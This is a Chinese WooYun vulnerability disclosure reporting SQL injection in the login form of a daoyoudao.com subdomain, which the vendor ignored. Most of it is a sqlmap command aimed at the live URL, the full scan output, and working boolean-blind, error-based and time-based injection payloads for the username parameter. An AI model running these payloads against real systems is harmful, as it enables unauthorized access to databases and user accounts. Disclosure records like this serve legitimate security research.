当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0110972

漏洞标题:道有道某分站SQL注入漏洞

相关厂商:daoyoudao.com

漏洞作者: #6c6c6c

提交时间:2015-04-29 15:14

修复时间:2015-05-04 15:16

公开时间:2015-05-04 15:16

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-29: 细节已通知厂商并且等待厂商处理中
2015-05-04: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

sql

详细说明:

post sql注入

F:\Python26\sqlmap>sqlmap.py -u "http://xiaoxi.daoyoudao.com/user/login_login.do
" --data "password=6c6cc&username=6c66c"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 23:58:41
[23:58:41] [WARNING] using 'C:\Users\Administrator\.sqlmap\output' as the output
directory
[23:58:41] [INFO] testing connection to the target URL
[23:58:42] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[23:58:43] [INFO] target URL is stable
[23:58:43] [INFO] testing if POST parameter 'password' is dynamic
[23:58:43] [WARNING] POST parameter 'password' does not appear dynamic
[23:58:43] [WARNING] heuristic (basic) test shows that POST parameter 'password'
might not be injectable
[23:58:43] [INFO] testing for SQL injection on POST parameter 'password'
[23:58:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:58:47] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[23:58:48] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[23:58:50] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[23:58:51] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[23:58:52] [INFO] testing 'MySQL inline queries'
[23:58:53] [INFO] testing 'PostgreSQL inline queries'
[23:58:53] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[23:58:53] [INFO] testing 'Oracle inline queries'
[23:58:53] [INFO] testing 'SQLite inline queries'
[23:58:53] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[23:58:55] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[23:58:56] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[23:58:57] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[23:58:58] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[23:59:00] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[23:59:01] [INFO] testing 'Oracle AND time-based blind'
[23:59:02] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[23:59:34] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
[23:59:38] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[23:59:38] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[23:59:53] [WARNING] POST parameter 'password' is not injectable
[23:59:53] [INFO] testing if POST parameter 'username' is dynamic
[23:59:53] [WARNING] POST parameter 'username' does not appear dynamic
[23:59:53] [INFO] heuristic (basic) test shows that POST parameter 'username' mi
ght be injectable (possible DBMS: 'MySQL')
[23:59:53] [INFO] testing for SQL injection on POST parameter 'username'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you
want to skip test payloads specific for other DBMSes? [Y/n] y
do you want to include all tests for 'MySQL' extending provided level (1) and ri
sk (1)? [Y/n] y
[00:00:32] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:00:34] [WARNING] reflective value(s) found and filtering out
[00:00:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MyS
QL comment)'
[00:00:40] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQ
L comment)'
[00:00:43] [INFO] testing 'MySQL boolean-based blind - WHERE, HAVING, ORDER BY o
r GROUP BY clause (RLIKE)'
[00:00:45] [INFO] POST parameter 'username' seems to be 'MySQL boolean-based bli
nd - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)' injectable
[00:00:45] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:00:45] [INFO] POST parameter 'username' is 'MySQL >= 5.0 AND error-based - W
HERE or HAVING clause' injectable
[00:00:46] [INFO] testing 'MySQL inline queries'
[00:00:46] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:00:46] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[00:00:46] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:00:46] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (comment)'
[00:00:46] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'
[00:01:13] [INFO] POST parameter 'username' seems to be 'MySQL < 5.0.12 AND time
-based blind (heavy query)' injectable
[00:01:13] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[00:01:13] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[00:01:18] [INFO] target URL appears to be UNION injectable with 1 columns
[00:01:19] [WARNING] if UNION based SQL injection is not detected, please consid
er and/or try to force the back-end DBMS (e.g. --dbms=mysql)
[00:01:19] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[00:01:24] [INFO] testing 'MySQL UNION query (NULL) - 22 to 40 columns'
[00:01:28] [INFO] testing 'MySQL UNION query (random number) - 22 to 40 columns'
[00:01:33] [INFO] testing 'MySQL UNION query (NULL) - 42 to 60 columns'
[00:01:37] [INFO] testing 'MySQL UNION query (random number) - 42 to 60 columns'
[00:01:41] [INFO] testing 'MySQL UNION query (NULL) - 62 to 80 columns'
[00:01:45] [INFO] testing 'MySQL UNION query (random number) - 62 to 80 columns'
[00:01:49] [INFO] testing 'MySQL UNION query (NULL) - 82 to 100 columns'
[00:01:54] [INFO] testing 'MySQL UNION query (random number) - 82 to 100 columns
'
[00:01:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
POST parameter 'username' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
sqlmap identified the following injection points with a total of 509 HTTP(s) req
uests:
---
Place: POST
Parameter: username
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY claus
e (RLIKE)
Payload: password=6c6cc&username=6c66c' RLIKE (SELECT (CASE WHEN (3511=3511)
THEN 0x3663363663 ELSE 0x28 END)) AND 'aLad'='aLad
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: password=6c6cc&username=6c66c' AND (SELECT 8676 FROM(SELECT COUNT(*
),CONCAT(0x7179656b71,(SELECT (CASE WHEN (8676=8676) THEN 1 ELSE 0 END)),0x71617
67771,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AN
D 'ATWG'='ATWG
Type: AND/OR time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: password=6c6cc&username=6c66c' AND 6246=BENCHMARK(5000000,MD5(0x495
54679)) AND 'NHGE'='NHGE
---
[00:02:19] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0
[00:02:19] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 224 times
[00:02:19] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\xiaoxi.daoyoudao.com'
[*] shutting down at 00:02:19

漏洞证明:

1.png


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: username (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: password=6c6cc&username=6c66c' RLIKE (SELECT (CASE WHEN (9356=9356) THEN 0x3663363663 ELSE 0x28 END)) AND 'OGXV'='OGXV
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: password=6c6cc&username=6c66c' AND (SELECT 7308 FROM(SELECT COUNT(*),CONCAT(0x71626a6b71,(SELECT (ELT(7308=7308,1))),0x71716b7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'zOKf'='zOKf
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: password=6c6cc&username=6c66c' AND (SELECT * FROM (SELECT(SLEEP(5)))BgQX) AND 'OrVH'='OrVH
---


修复方案:

版权声明:转载请注明来源 #6c6c6c@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-05-04 15:16

厂商回复:

漏洞Rank:2 (WooYun评价)

最新状态:

2015-05-06:已关闭